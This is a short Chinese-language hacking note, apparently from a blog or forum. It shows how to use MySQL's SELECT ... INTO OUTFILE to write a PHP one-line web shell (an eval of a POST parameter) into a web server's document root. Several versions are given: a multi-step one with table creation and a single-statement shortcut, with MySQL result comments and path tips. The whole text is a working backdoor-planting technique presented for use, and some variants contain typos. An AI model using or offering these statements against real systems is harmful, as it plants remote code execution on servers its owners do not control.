很老的东西了,但是很多时候会派上用场
mysql一句话导出shell
USE test;# MySQL 返回的查询结果为空(即零行)。
DROP TABLE IF EXISTS hello;# MySQL 返回的查询结果为空(即零行)。
CREATE TABLE hello(
cmd TEXT NOT NULL
);# MySQL 返回的查询结果为空(即零行)。
INSERT INTO hello( cmd )
VALUES (
'<?php @eval($_POST['pass']);?>'
);# 影响列数: 1
SELECT cmd
FROM hello
INTO OUTFILE '/home/htdocs/ok.php';# 影响列数: 1(注意正确的路径)
DROP TABLE IF EXISTS temp;# MySQL 返回的查询结果为空(即零行)。
Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES('<? php eval($_POST[cmd]);?>'); //把一句话木马插入到temp表
Select cmd from temp into out file 'd:/wwwroot/1.php'; //查询temp表中的一句话并把结果导入到eval.php
Drop TABLE IF EXISTS temp; //删除temp
还有一个思路,可以把上面那一大段导出一句话的SQL代码可以直接简化到一句:
Select '<? php eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
这样做不但简单明了,而且避免了误删别人的数据。